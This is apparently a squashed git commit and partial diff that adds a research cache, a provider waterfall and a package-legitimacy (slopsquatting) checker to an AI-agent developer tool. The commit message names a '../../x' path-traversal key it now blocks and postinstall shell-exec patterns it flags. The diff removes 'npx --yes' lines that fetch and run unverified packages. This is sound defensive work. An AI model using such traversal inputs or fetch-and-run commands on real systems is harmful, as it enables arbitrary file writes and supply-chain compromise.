Research module (CONTEXT predicates, ADR-0656, architecture, changeset) Adds GSD-RESEARCH.* + DEFECT.RESEARCH-PROVIDER-PROSE-DRIFT predicates to CONTEXT.md, ADR-0656 recording the L2-hybrid seam decision, a docs/ARCHITECTURE.md Research Module subsection, and an Added changeset fragment (pr:0, backfill on PR). Notes the #657 deferrals (agent collapse + install.js MCP mapping). Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) * chore(#656): sync inventory for research modules Regenerate INVENTORY-MANIFEST.json and bump docs/INVENTORY.md CLI Modules count 82->85 with rows for research-store/research-provider/package-legitimacy (DEFECT.INVENTORY-DRIFT). Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) * chore(#656): eslint-ignore generated research .cjs artifacts (ADR-457) research-store/research-provider/package-legitimacy .cjs are tsc-generated from src/*.cts, so they belong in the ESLint ignore block (lint the .cts source, not the emitted .cjs). Fixes tests/551-eslint-bin-lib-coverage. Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) * chore(#656): backfill changeset pr number to #664 Co-Authored-By: Claude Opus 4.8 (1M context) * chore(#656): satisfy eslint lint-tests gate Fix 20 eslint errors in the new research files: use helpers.cleanup() instead of raw fs.rmSync() in tests (local/no-raw-rmsync-in-tests, Windows-EBUSY retry budget); drop redundant '| string' union members and unnecessary type assertions; deterministic object normalization in researchKey (no-base-to-string). Logic unchanged; 6180 tests still green. Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) * fix(#656): harden package legitimacy per review (W1/W2/I3/I4) W1: httpsGet now reads statusCode; npm/PyPI/crates map 404 -> exists:false -> SLOP (registry-existence is the #1 slopsquatting defense; previously only npm caught it). Transport made injectable (_setHttpGet) for hermetic 404 tests. W2: suspicious-postinstall is now terminal SLOP independent of the optional slopcheck adapter, and the regex drops the bare https?:// arm (over-fired on esbuild/sharp/node-gyp) for shell-exec/download-exec signatures only. I3: checkPackages now threads version to registry.lookup and adapters verify that specific version exists. I4: moreServerVerdict -> moreSevereVerdict. +11 regression tests (all RED-first); 45 total green. Addresses review by @davesienkowski on #664. Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) * fix(#656): research-store tier coherence + freshness + version TTL (W4/I1/I2/I4) I1: tier now derives from source (curated -> user ~/.gsd, else -> project .planning), not kind, so put-tier and get-tier can't diverge; kind is a key component only. W4: getResearch searches both tiers and returns the freshest (non-stale preferred), never letting a stale curated entry shadow a fresh web one; blank version caps TTL at 1 day (no 30d on version-blind keys). I2: atomic platformWriteSync instead of raw fs.writeFileSync on the shared global path. I4: dropped the dead ttlForSource arm. CLI get now searches both tiers. +5 RED-first regression tests; 38 green. Addresses review by @davesienkowski on #664. Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) * fix(#656): expose classifyConfidence as a CLI route, killing dead code (W3) Adds 'gsd-tools query classify-confidence --provider X [--verified]' so research agents get the confidence tier FROM CODE (provider waterfall + verification lever) instead of asserting it in prose. classifyConfidence previously had no runtime caller. HIGH means 'trusted provider'; --verified raises web results to MEDIUM (verification semantics documented in ADR-0656). +4 behavioral tests. Addresses review by @davesienkowski on #664 (W3). Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) * fix(#656): close Codex adversarial-review findings (path-traversal, version-age, malformed-cache) HIGH: research key must be 64-hex sha256 (isValidResearchKey) + resolved-path containment check in put/get + CLI validation -> blocks '../../x' arbitrary-file-write. HIGH: package legitimacy now derives publishedAt from the REQUESTED version (npm time[version], PyPI releases[version] upload_time, crates versions[].created_at) so a new malicious version of an old package can't inherit old age and evade 'too-new'. MEDIUM: getResearch validates entry shape (finite fetched_at + positive ttl + required fields) -> malformed cache entry is a miss, not fresh-forever. +regression tests (RED-first); 111 green. Codex adversarial review (required pre-PR gate). Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) * fix(#656): close code-review correctness findings (1) package-legitimacy CLI now rejects unknown --flags instead of silently consuming the following package as a flag value; only --ecosystem takes a value. (2) crates recent_downloads (90-day) normalized to a weekly figure before the minWeeklyDownloads threshold (was ~13x too lenient). (3) research-plan --input validates parsed JSON is an object with an Array questions before destructuring -> clean usage error instead of an uncaught TypeError on null/bad input. (4) research-store put rejects a flag value that is itself a --flag (no more storing '--source' as content). (5) planResearch skips questions whose text is not a non-empty string instead of emitting question:undefined. +13 RED-first regression tests; 143 green. Code-review gate. Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) * refactor(#657): extract researcher documentation_lookup to shared @-reference 6 researcher agents carried a near-duplicate block; consolidate into gsd-core/references/research-documentation-lookup.md (@-included). Unifies the ctx7 CLI fallback to the safer 'command -v ctx7' guard (drops silent 'npx --yes ctx7@latest' execution in 5 agents). Behavior-preserving dedup; inventory 63->64 references. Phase A of the agent collapse. Issue #657. Co-Authored-By: Claude Opus 4.8 (1M context) * refactor(#657): extract researcher philosophy + verification-protocol to shared @-references philosophy and the pitfalls+pre-submission-checklist common-core were near-duplicated in project/phase researchers; consolidate into gsd-core/references/research-{philosophy,verification-protocol}.md (@-included). phase-researcher keeps its 3 extra checklist items inline. Pre-submission domains checklist made agent-agnostic so project-researcher doesn't lose features/architecture coverage. Write-contract intentionally left inline (bug-214 tests assert it verbatim). Inventory 64->66 refs. Behavior-preserving. Phase A. Issue #657. Co-Authored-By: Claude Opus 4.8 (1M context) * feat(#657): wire gsd-phase-researcher to the Research seam (Phase B / S1) The phase researcher now CALLS the code seam instead of carrying inline mechanics: provider waterfall -> 'gsd-tools query research-plan' (+ research-store put to cache digests); confidence-tier prose -> 'gsd-tools query classify-confidence'; slopcheck pip-install protocol -> 'gsd-tools query package-legitimacy check'. This makes the Research module a real runtime consumer (validates the seam end-to-end, addresses reviewer S1) and removes the duplicated waterfall/confidence/slopcheck prose. RESEARCH.md output contract, commit step, structured returns, and Phase-A @-includes unchanged. package-legitimacy-gate.test.cjs rewritten prose-grep -> behavioral (asserts the seam invocation). Issue #657. Co-Authored-By: Claude Opus 4.8 (1M context) * feat(#657): wire gsd-project-researcher to the seam + add tavily/ref/jina MCP tools (Phase C.1) project-researcher now calls gsd-tools query research-plan / classify-confidence (+ research-store put) instead of the inline provider waterfall + confidence-tier prose (mirrors the phase-researcher rewire; no package-legitimacy — phase-only). Output contract (STACK/FEATURES/ARCHITECTURE/PITFALLS/SUMMARY.md + sections, no-commit, structured returns, Phase-A @-includes) unchanged. Adds mcp__tavily/ref/jina__* to the project/phase/ui researcher tools frontmatter (Balanced provider set) so install.js MCP mapping (C.2) has a consumer. Issue #657. Co-Authored-By: Claude Opus 4.8 (1M context) * test(#657): cover tavily/ref/jina MCP install handling + frontmatter parity guard (Phase C.2) Investigation: exa/firecrawl have no explicit per-runtime tool-mapping — every mcp____* except context7 rides the generic passthrough (Copilot lowercases; OpenCode/Cursor/Windsurf/Augment keep as-is; Gemini auto-discovers). tavily/ref/jina are handled identically, no install path broken. Added 12 copilot-install passthrough tests + a mcp-tool-inheritance parity guard (tavily co-declared with exa, jina with firecrawl, ref present across the 3 web researchers) so the MCP set can't drift. No io.github registry ids invented (none sourceable in-repo); documented as a follow-up. 488 tests green. Issue #657. Co-Authored-By: Claude Opus 4.8 (1M context) * feat(#657): profiles as source of truth for researcher agents + drift-guard (Phase C.3) scripts/research-profiles.cjs declares each of the 7 researcher agents' identity + contract (name, description, color, tools, required @-includes, required gsd-tools seam calls, output-contract markers). scripts/gen-research-agents.cjs --check validates every committed agent against its profile; --write regenerates ONLY the frontmatter from profiles (body untouched) and is a verified no-op against the current agents (zero diff = fidelity). tests/research-agent-profiles.test.cjs is the DEFECT.GENERATIVE-FIX drift guard. Design note: profiles govern the generatable/contract surface rather than destructively regenerating the disparate operational prose bodies (those were deduped via @-includes in Phase A). scripts/ is not inventoried (no inventory change). Issue #657. Co-Authored-By: Claude Opus 4.8 (1M context) * fix(#657): complete agent provider-dispatch + parity guard; align legitimacy field; validate profiles Adversarial-review findings: (HIGH) the seam-wired agents' Step-C dispatch only mapped 6 providers, so a planResearch result of jina/ref/perplexity/brave (reachable via the waterfall fallbacks) had no handling -> agent stall; completed both agents' dispatch to all 9 PROVIDER_WATERFALL ids + a catch-all, and added a parity test asserting agent dispatch stays in sync with research-provider PROVIDER_WATERFALL (DEFECT.GENERATIVE-FIX). (MEDIUM) phase-researcher package-legitimacy JSON example used 'package' but the module returns 'name' -> aligned. (LOW) gen-research-agents checkAgent now returns a clear failure for a malformed profile instead of throwing. +parity/validation tests (RED-first). Issue #657. Co-Authored-By: Claude Opus 4.8 (1M context) * fix(#656): make classifyConfidence verification-evidence-driven (W3) Confidence conflated provider authority with claim verification — context7/ref stamped HIGH purely by provider identity, and the only verification lever was a self-set --verified flag. Split into two axes: provider authority (static) + verification evidence (code-computed). HIGH now requires ground-truth corroboration (legitimacyVerdict OK), independent of provider; authority alone caps at MEDIUM; SLOP caps at LOW; the self-reported --verified is demoted to a MEDIUM-only web lever. HIGH = corroborated-against-authoritative-source, not a correctness guarantee. Adds --legitimacy-verdict to the classify-confidence CLI; updates CONTEXT.md predicate + ADR-0656 (tier set unchanged, ADR-consistent). Addresses davesienkowski's W3 review on #664. Co-Authored-By: Claude Opus 4.8 * fix(#656): bind classify-confidence verdict to code, closing CLI self-grading Adversarial review found the new --legitimacy-verdict flag was caller-supplied, so an agent could self-assert OK->HIGH without any real legitimacy check — reintroducing the exact self-grading hole W3 closes. Remove the free flag; the CLI now computes the verdict via checkPackages only when --package/--ecosystem is given (code-computed, not agent-asserted). Update the stale CLI test (context7 alone -> MEDIUM) and extend the property test to vary legitimacyVerdict. Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 (1M context) --- .changeset/656-research-module-seam.md | 5 + .gitignore | 3 + CONTEXT.md | 11 + agents/gsd-advisor-researcher.md | 21 +- agents/gsd-ai-researcher.md | 21 +- agents/gsd-domain-researcher.md | 21 +- agents/gsd-phase-researcher.md | 265 +++--- agents/gsd-project-researcher.md | 227 ++--- agents/gsd-ui-researcher.md | 23 +- bin/install.js | 2 + docs/ARCHITECTURE.md | 31 + docs/INVENTORY-MANIFEST.json | 6 + docs/INVENTORY.md | 12 +- docs/adr/0656-research-module-seam.md | 45 + eslint.config.mjs | 3 + gsd-core/bin/gsd-tools.cjs | 182 +++- .../research-documentation-lookup.md | 29 + gsd-core/references/research-philosophy.md | 29 + .../research-verification-protocol.md | 27 + scripts/gen-research-agents.cjs | 274 ++++++ scripts/research-profiles.cjs | 149 ++++ src/config.cts | 12 + src/package-legitimacy.cts | 471 +++++++++++ src/research-provider.cts | 281 +++++++ src/research-store.cts | 252 ++++++ tests/config.test.cjs | 112 +++ tests/copilot-install.test.cjs | 30 + tests/mcp-tool-inheritance.test.cjs | 80 ++ tests/package-legitimacy-gate.test.cjs | 64 +- tests/package-legitimacy.property.test.cjs | 127 +++ tests/package-legitimacy.test.cjs | 792 ++++++++++++++++++ tests/research-agent-profiles.test.cjs | 188 +++++ tests/research-cli.test.cjs | 544 ++++++++++++ tests/research-provider.property.test.cjs | 51 ++ tests/research-provider.test.cjs | 325 +++++++ tests/research-store.property.test.cjs | 64 ++ tests/research-store.test.cjs | 639 ++++++++++++++ 37 files changed, 4979 insertions(+), 439 deletions(-) create mode 100644 .changeset/656-research-module-seam.md create mode 100644 docs/adr/0656-research-module-seam.md create mode 100644 gsd-core/references/research-documentation-lookup.md create mode 100644 gsd-core/references/research-philosophy.md create mode 100644 gsd-core/references/research-verification-protocol.md create mode 100644 scripts/gen-research-agents.cjs create mode 100644 scripts/research-profiles.cjs create mode 100644 src/package-legitimacy.cts create mode 100644 src/research-provider.cts create mode 100644 src/research-store.cts create mode 100644 tests/package-legitimacy.property.test.cjs create mode 100644 tests/package-legitimacy.test.cjs create mode 100644 tests/research-agent-profiles.test.cjs create mode 100644 tests/research-cli.test.cjs create mode 100644 tests/research-provider.property.test.cjs create mode 100644 tests/research-provider.test.cjs create mode 100644 tests/research-store.property.test.cjs create mode 100644 tests/research-store.test.cjs diff --git a/.changeset/656-research-module-seam.md b/.changeset/656-research-module-seam.md new file mode 100644 index 000000000..b086cea04 --- /dev/null +++ b/.changeset/656-research-module-seam.md @@ -0,0 +1,5 @@ +--- +type: Added +pr: 664 +--- +**Research is now cached, curated-first, and code-governed** — a content-addressed Research Store (per-source TTL), a single provider waterfall with confidence tiers, and registry-API package legitimacy replace the per-agent prose waterfall and the slopcheck bolt-on. (#664) Confidence is now verification-evidence-driven: provider identity alone no longer yields HIGH; HIGH requires ground-truth corroboration (e.g. `legitimacyVerdict: 'OK'`), authority alone caps at MEDIUM, and SLOP caps at LOW. diff --git a/.gitignore b/.gitignore index 2f8e75bce..6059a5dba 100644 --- a/.gitignore +++ b/.gitignore @@ -66,6 +66,9 @@ build/ # ADR-457 build-at-publish: TS-generated runtime artifacts (compiled from src/*.cts # by `npm run build:lib`). Source of truth is src/; these are emitted, never edited. # Published via prepublishOnly; built before test via pretest. Grows as modules migrate. +/gsd-core/bin/lib/research-store.cjs +/gsd-core/bin/lib/research-provider.cjs +/gsd-core/bin/lib/package-legitimacy.cjs /gsd-core/bin/lib/semver-compare.cjs /gsd-core/bin/lib/config-types.cjs /gsd-core/bin/lib/code-review-flags.cjs diff --git a/CONTEXT.md b/CONTEXT.md index 9e6ef245f..153b0df58 100644 --- a/CONTEXT.md +++ b/CONTEXT.md @@ -121,6 +121,17 @@ Module owning the per-runtime mapping from artifact kind to filesystem placement ### Knowledge Graph Module Module owning the graphify integration: config gate (`isGraphifyEnabled`), disabled response (`disabledResponse`), subprocess helper (`execGraphify`, typed `GRAPHIFY_REASON` enum), presence detection (`checkGraphifyInstalled`), version checking (`checkGraphifyVersion`), query surface (`graphifyQuery` — BFS seed-expand + budget trim), status surface (`graphifyStatus` — node/edge counts, mtime staleness, commit-staleness tri-state via `built_at_commit`/`commits_behind`/`commit_stale`), diff surface (`graphifyDiff` — added/removed/changed nodes+edges), build pre-flight (`graphifyBuild`), snapshot management (`writeSnapshot`). Reads `.planning/config.json:graphify.enabled` as config gate; writes to `.planning/graphs/`. Auto-update hook (`hooks/gsd-graphify-update.sh`) triggers a detached background rebuild after HEAD-advancing git operations on the default branch when `graphify.auto_update=true`. Status file `.planning/graphs/.last-build-status.json` carries `{ ts, status, exit_code, duration_ms, head_at_build, graphify_version }`. Graph IR uses `nodes[]`, `edges[]` (or `links[]` for graphify ≥0.7 compat), `hyperedges[]`, `built_at_commit`. `commit_stale` is tri-state: `false` (known fresh), `true` (stale), `null` (unknown — no git or pre-v0.7 graph). Source: `gsd-core/bin/lib/graphify.cjs`. Skill: `commands/gsd/graphify.md`. +### Research Module +The GSD-RESEARCH capability behind an L2-hybrid seam: code owns cache + provider policy + package legitimacy; MCP owns the actual fetch. Reachable via `gsd-tools query research-plan|research-store|package-legitimacy`. Source: `src/research-{store,provider}.cts` + `src/package-legitimacy.cts` (generated to `gsd-core/bin/lib/*.cjs` per ADR-457). Replaces the prose provider-waterfall duplicated across the researcher agents and the pip-install `slopcheck` bolt-on. + +- `GSD-RESEARCH.MODULE.research-store=content-addressed cache; key=sha256(ecosystem+library+version+query+kind); getResearch->{hit,stale} never throws (mirrors graphify staleness); ttlForSource curated HIGH 30d|MED 7d|web LOW 1d; tiers: curated-doc kinds -> ~/.gsd/research-cache (cross-project), web/synthesis -> project .planning/research/.cache` +- `GSD-RESEARCH.MODULE.research-provider=single source of truth PROVIDER_WATERFALL (docs Context7->Ref->Jina->websearch; web Exa->Tavily->Perplexity->Brave->websearch; scrape Firecrawl->Jina); planResearch returns cache-hits+fetch-plan; classifyConfidence stamps HIGH|MEDIUM|LOW by provider AUTHORITY + verification EVIDENCE (HIGH requires code-computed ground-truth corroboration e.g. legitimacyVerdict OK; provider authority alone caps at MEDIUM; SLOP caps at LOW); Firecrawl is scrape-only (not in docs/web discovery)` +- `GSD-RESEARCH.MODULE.package-legitimacy=registry-API verdicts (npm/PyPI/crates.io injectable adapters) computed from thresholds {minAgeDays:30,minWeeklyDownloads:1000,requireRepo:true}; verdict OK|SUS|SLOP per package; slopcheck=optional adapter that can only escalate, never the install-or-degrade gate` +- `GSD-RESEARCH.INTEGRATION.L2-hybrid=code owns cache+legitimacy+confidence+provider-pick (gsd-tools query research-plan/research-store/package-legitimacy); MCP owns the fetch; agent returns RESEARCH.md path, never raw fetches` +- `GSD-RESEARCH.PROVIDER.availability=config flags brave_search/exa_search/firecrawl/tavily_search/ref_search/perplexity/jina (env _API_KEY or ~/.gsd/_api_key); context7/jina/websearch always available; planResearch falls through waterfall to websearch terminal` +- `GSD-RESEARCH.CONTEXT-DISCIPLINE=less-context levers: subagent isolation + compact provider output + fetches-to-disk + cache-returns-digest; API clear_tool_uses/memory tool are the conceptual model, not a Claude Code harness knob` +- `DEFECT.RESEARCH-PROVIDER-PROSE-DRIFT=provider waterfall duplicated across N researcher agent .md files drifts independently (META.RULE.brief-no-paraphrase); fix-forward=research-provider.cjs single source of truth + generated agents (#657)` + ### MVP Mode Phase-level planning mode that frames work as a vertical slice (UI → API → DB) of one user-visible capability instead of horizontal layers. Resolved at workflow init via the precedence chain: `--mvp` CLI flag → ROADMAP.md `**Mode:** mvp` field → `workflow.mvp_mode` config → false. All-or-nothing per phase (PRD #2826 Q1). Surfaced as `MVP_MODE=true|false` to the planner, executor, verifier, and discovery surfaces (progress, stats, graphify). Canonical parser: `roadmap.cjs` `**Mode:**` field; canonical resolution chain documented in `workflows/plan-phase.md`. Concept index: `references/mvp-concepts.md`. diff --git a/agents/gsd-advisor-researcher.md b/agents/gsd-advisor-researcher.md index 0a7b27f9a..9218b97b8 100644 --- a/agents/gsd-advisor-researcher.md +++ b/agents/gsd-advisor-researcher.md @@ -18,26 +18,7 @@ Spawned by `discuss-phase` via `Task()`. You do NOT present output directly to t -When you need library or framework documentation, check in this order: - -1. If Context7 MCP tools (`mcp__context7__*`) are available in your environment, use them: - - Resolve library ID: `mcp__context7__resolve-library-id` with `libraryName` - - Fetch docs: `mcp__context7__get-library-docs` with `context7CompatibleLibraryId` and `topic` - -2. If Context7 MCP is not available (upstream bug anthropics/claude-code#13898 strips MCP - tools from agents with a `tools:` frontmatter restriction), use the CLI fallback via Bash: - - Step 1 — Resolve library ID: - ```bash - npx --yes ctx7@latest library "" - ``` - Step 2 — Fetch documentation: - ```bash - npx --yes ctx7@latest docs "" - ``` - -Do not skip documentation lookups because MCP tools are unavailable — the CLI fallback -works via Bash and produces equivalent output. +@~/.claude/gsd-core/references/research-documentation-lookup.md diff --git a/agents/gsd-ai-researcher.md b/agents/gsd-ai-researcher.md index ac9261fa3..341a5b153 100644 --- a/agents/gsd-ai-researcher.md +++ b/agents/gsd-ai-researcher.md @@ -17,26 +17,7 @@ Write Sections 3–4b of AI-SPEC.md: framework quick reference, implementation g -When you need library or framework documentation, check in this order: - -1. If Context7 MCP tools (`mcp__context7__*`) are available in your environment, use them: - - Resolve library ID: `mcp__context7__resolve-library-id` with `libraryName` - - Fetch docs: `mcp__context7__get-library-docs` with `context7CompatibleLibraryId` and `topic` - -2. If Context7 MCP is not available (upstream bug anthropics/claude-code#13898 strips MCP - tools from agents with a `tools:` frontmatter restriction), use the CLI fallback via Bash: - - Step 1 — Resolve library ID: - ```bash - npx --yes ctx7@latest library "" - ``` - Step 2 — Fetch documentation: - ```bash - npx --yes ctx7@latest docs "" - ``` - -Do not skip documentation lookups because MCP tools are unavailable — the CLI fallback -works via Bash and produces equivalent output. +@~/.claude/gsd-core/references/research-documentation-lookup.md diff --git a/agents/gsd-domain-researcher.md b/agents/gsd-domain-researcher.md index 7144fb026..18ba806df 100644 --- a/agents/gsd-domain-researcher.md +++ b/agents/gsd-domain-researcher.md @@ -17,26 +17,7 @@ Research the business domain — not the technical framework. Write Section 1b o -When you need library or framework documentation, check in this order: - -1. If Context7 MCP tools (`mcp__context7__*`) are available in your environment, use them: - - Resolve library ID: `mcp__context7__resolve-library-id` with `libraryName` - - Fetch docs: `mcp__context7__get-library-docs` with `context7CompatibleLibraryId` and `topic` - -2. If Context7 MCP is not available (upstream bug anthropics/claude-code#13898 strips MCP - tools from agents with a `tools:` frontmatter restriction), use the CLI fallback via Bash: - - Step 1 — Resolve library ID: - ```bash - npx --yes ctx7@latest library "" - ``` - Step 2 — Fetch documentation: - ```bash - npx --yes ctx7@latest docs "" - ``` - -Do not skip documentation lookups because MCP tools are unavailable — the CLI fallback -works via Bash and produces equivalent output. +@~/.claude/gsd-core/references/research-documentation-lookup.md diff --git a/agents/gsd-phase-researcher.md b/agents/gsd-phase-researcher.md index 0cf27e1f6..8df612a10 100644 --- a/agents/gsd-phase-researcher.md +++ b/agents/gsd-phase-researcher.md @@ -1,7 +1,7 @@ --- name: gsd-phase-researcher description: Researches how to implement a phase before planning. Produces RESEARCH.md consumed by gsd-planner. Spawned by /gsd:plan-phase orchestrator. -tools: Read, Write, Edit, Bash, Grep, Glob, WebSearch, WebFetch, mcp__context7__*, mcp__firecrawl__*, mcp__exa__* +tools: Read, Write, Edit, Bash, Grep, Glob, WebSearch, WebFetch, mcp__context7__*, mcp__firecrawl__*, mcp__exa__*, mcp__tavily__*, mcp__ref__*, mcp__jina__* color: cyan # hooks: # PostToolUse: @@ -30,41 +30,13 @@ Spawned by `/gsd:plan-phase` (integrated) or `/gsd:plan-phase --research-phase < - `[CITED: docs.example.com/page]` — referenced from official documentation - `[ASSUMED]` — based on training knowledge, not verified in this session -**Package name provenance rule:** A package name discovered via WebSearch, training data, or any non-authoritative source must be tagged `[ASSUMED]` regardless of whether `npm view` confirms it exists on the registry. Registry existence alone does not confer `[VERIFIED]` status — a slopsquatted package also passes `npm view`. Only packages confirmed via official documentation or Context7 AND passing slopcheck verification may be tagged `[VERIFIED: npm registry]`. +**Package name provenance rule:** A package name discovered via WebSearch, training data, or any non-authoritative source must be tagged `[ASSUMED]` regardless of whether `npm view` confirms it exists on the registry. Registry existence alone does not confer `[VERIFIED]` status — a slopsquatted package also passes `npm view`. Only packages confirmed via official documentation or Context7 AND returning `OK` from `gsd-tools query package-legitimacy check` may be tagged `[VERIFIED: npm registry]`. Claims tagged `[ASSUMED]` signal to the planner and discuss-phase that the information needs user confirmation before becoming a locked decision. Never present assumed knowledge as verified fact — especially for compliance requirements, retention policies, security standards, or performance targets where multiple valid approaches exist. -When you need library or framework documentation, check in this order: - -1. If Context7 MCP tools (`mcp__context7__*`) are available in your environment, use them: - - Resolve library ID: `mcp__context7__resolve-library-id` with `libraryName` - - Fetch docs: `mcp__context7__get-library-docs` with `context7CompatibleLibraryId` and `topic` - -2. If Context7 MCP is not available (upstream bug anthropics/claude-code#13898 strips MCP - tools from agents with a `tools:` frontmatter restriction), use the CLI fallback via Bash: - - Step 1 — Resolve library ID: - ```bash - if command -v ctx7 &>/dev/null; then - ctx7 library "" - else - echo "ctx7 not found — install with: npm install -g ctx7 (verify at npmjs.com/package/ctx7 first)" - fi - ``` - Step 2 — Fetch documentation: - ```bash - if command -v ctx7 &>/dev/null; then - ctx7 docs "" - else - echo "ctx7 not found — install with: npm install -g ctx7 (verify at npmjs.com/package/ctx7 first)" - fi - ``` - -Do not skip documentation lookups because MCP tools are unavailable — the CLI fallback -works via Bash and produces equivalent output. Do NOT use `npx --yes` to auto-download -ctx7 — this silently executes unverified packages from the registry. +@~/.claude/gsd-core/references/research-documentation-lookup.md @@ -109,153 +81,106 @@ Your RESEARCH.md is consumed by `gsd-planner`: - -## Claude's Training as Hypothesis - -Training data is 6-18 months stale. Treat pre-existing knowledge as hypothesis, not fact. - -**The trap:** Claude "knows" things confidently, but knowledge may be outdated, incomplete, or wrong. - -**The discipline:** -1. **Verify before asserting** — don't state library capabilities without checking Context7 or official docs -2. **Date your knowledge** — "As of my training" is a warning flag -3. **Prefer current sources** — Context7 and official docs trump training data -4. **Flag uncertainty** — LOW confidence when only training data supports a claim - -## Honest Reporting - -Research value comes from accuracy, not completeness theater. - -**Report honestly:** -- "I couldn't find X" is valuable (now we know to investigate differently) -- "This is LOW confidence" is valuable (flags for validation) -- "Sources contradict" is valuable (surfaces real ambiguity) - -**Avoid:** Padding findings, stating unverified claims as facts, hiding uncertainty behind confident language. - -## Research is Investigation, Not Confirmation - -**Bad research:** Start with hypothesis, find evidence to support it -**Good research:** Gather evidence, form conclusions from evidence - -When researching "best library for X": find what the ecosystem actually uses, document tradeoffs honestly, let evidence drive recommendation. - +@~/.claude/gsd-core/references/research-philosophy.md -## Tool Priority +## Research Plan via Code Seam -| Priority | Tool | Use For | Trust Level | -|----------|------|---------|-------------| -| 1st | Context7 | Library APIs, features, configuration, versions | HIGH | -| 2nd | WebFetch | Official docs/READMEs not in Context7, changelogs | HIGH-MEDIUM | -| 3rd | WebSearch | Ecosystem discovery, community patterns, pitfalls | Needs verification | +The agent decides **what** to research (the questions). The seam decides **which provider** to use and manages caching. -**Context7 flow:** -1. `mcp__context7__resolve-library-id` with libraryName -2. `mcp__context7__query-docs` with resolved ID + specific query +### Step A — Build a research-plan input file -**WebSearch tips:** Use multiple query variations. Cross-verify with authoritative sources. Do not inject a year into queries — it biases results toward stale dated content; check publication dates on the results you read instead. +Construct a JSON file at a temp path (e.g. `/tmp/research-plan-input.json`): -## Enhanced Web Search (Brave API) +```json +{ + "ecosystem": "", + "config": { "exa_search": true/false, "brave_search": true/false, "firecrawl": true/false, "tavily_search": true/false }, + "questions": [ + { "text": "How does X work?", "kind": "docs", "library": "x", "version": "1.2.3" }, + { "text": "Best practices for Y?", "kind": "web" } + ] +} +``` -Check `brave_search` from init context. If `true`, use Brave Search for higher quality results: +`config` comes from the init context (availability flags). `kind` is `"docs"` for library/API questions, `"web"` for ecosystem/community questions, `"scrape"` when you have a specific URL to extract. + +### Step B — Obtain the fetch plan ```bash -gsd-tools query websearch "your query" --limit 10 +gsd-tools query research-plan --input /tmp/research-plan-input.json ``` -**Options:** -- `--limit N` — Number of results (default: 10) -- `--freshness day|week|month` — Restrict to recent content +Returns `{ "items": [ { "question": "...", "key": "", "cache": { "hit": true/false, "stale": false }, "fetch": { "provider": "context7", "query": "..." } } ] }`. -If `brave_search: false` (or not set), use built-in WebSearch tool instead. +- `cache.hit && !cache.stale` → reuse the cached digest; no fetch needed. +- `cache.hit && cache.stale` → fetch anyway to refresh; the old entry is returned as a fallback. +- no `cache` field → cache miss; must fetch. -Brave Search provides an independent index (not Google/Bing dependent) with less SEO spam and faster responses. +### Step C — Execute the indicated fetch -### Exa Semantic Search (MCP) +For each item where `fetch` is present, invoke the MCP tool matching `fetch.provider`: -Check `exa_search` from init context. If `true`, use Exa for semantic, research-heavy queries: +| provider id | MCP tool / built-in | +|-------------|---------------------| +| `context7` | `mcp__context7__resolve-library-id` then `mcp__context7__query-docs` | +| `ref` | `mcp__ref__*` (use the appropriate ref MCP tool for the query) | +| `jina` | `mcp__jina__*` (use the appropriate jina MCP tool for the query) | +| `exa` | `mcp__exa__web_search_exa` with `fetch.query` | +| `tavily` | `mcp__tavily__search` with `fetch.query` | +| `perplexity` | `mcp__perplexity__*` (use the appropriate perplexity MCP tool for the query) | +| `brave` | `gsd-tools query websearch ""` (Brave-backed) or built-in `WebSearch` | +| `firecrawl` | `mcp__firecrawl__scrape` with url (scrape kind) or `mcp__firecrawl__search` | +| `websearch` | built-in `WebSearch` tool | +| `webfetch` | built-in `WebFetch` tool | -``` -mcp__exa__web_search_exa with query: "your semantic query" +For any other provider id `X` not listed above: use `mcp__X__*` if available, else fall back to `WebSearch`. + +**WebSearch tip:** Do not inject a year into queries — it biases results toward stale dated content; check publication dates on the results you read instead. + +### Step D — Cache each digest + +After digesting a source, persist it so future runs can reuse it: + +```bash +gsd-tools query research-store put \ + --content "" \ + --source \ + --provider \ + --confidence \ + --kind ``` -**Best for:** Research questions where keyword search fails — "best approaches to X", finding technical/academic content, discovering niche libraries. Returns semantically relevant results. - -If `exa_search: false` (or not set), fall back to WebSearch or Brave Search. - -### Firecrawl Deep Scraping (MCP) - -Check `firecrawl` from init context. If `true`, use Firecrawl to extract structured content from URLs: - -``` -mcp__firecrawl__scrape with url: "https://docs.example.com/guide" -mcp__firecrawl__search with query: "your query" (web search + auto-scrape results) -``` - -**Best for:** Extracting full page content from documentation, blog posts, GitHub READMEs. Use after finding a URL from Exa, WebSearch, or known docs. Returns clean markdown. - -If `firecrawl: false` (or not set), fall back to WebFetch. - -## Verification Protocol - -**Verify every WebSearch finding:** - -``` -For each WebSearch finding: -1. Can I verify with Context7? → YES: HIGH confidence -2. Can I verify with official docs? → YES: MEDIUM confidence -3. Do multiple sources agree? → YES: Increase one level -4. None of the above → Remains LOW, flag for validation -``` - -**Never present LOW confidence findings as authoritative.** +`key` comes from the `research-plan` item. `confidence` comes from the classify-confidence seam (see ``). -| Level | Sources | Use | -|-------|---------|-----| -| HIGH | Context7, official docs, official releases | State as fact | -| MEDIUM | WebSearch verified with official source, multiple credible sources | State with attribution | -| LOW | WebSearch only, single source, unverified | Flag as needing validation | +Obtain the confidence tier from code — do not hard-code tiers in your reasoning: -Priority: Context7 > Exa (verified) > Firecrawl (official docs) > Official GitHub > Brave/WebSearch (verified) > WebSearch (unverified) +```bash +gsd-tools query classify-confidence --provider +# for cross-checked findings, add --verified: +gsd-tools query classify-confidence --provider --verified +``` + +Returns `HIGH`, `MEDIUM`, or `LOW`. Use that value when tagging claims and when calling `research-store put --confidence `. + +Keep using the provenance tags in RESEARCH.md: +- `[VERIFIED: source]` — confirmed via tool AND from an authoritative source (HIGH confidence) +- `[CITED: url]` — referenced from official documentation (MEDIUM confidence) +- `[ASSUMED]` — training knowledge, not verified this session (LOW confidence) + +**Never present LOW confidence findings as authoritative.** +@~/.claude/gsd-core/references/research-verification-protocol.md -## Known Pitfalls - -### Configuration Scope Blindness -**Trap:** Assuming global configuration means no project-scoping exists -**Prevention:** 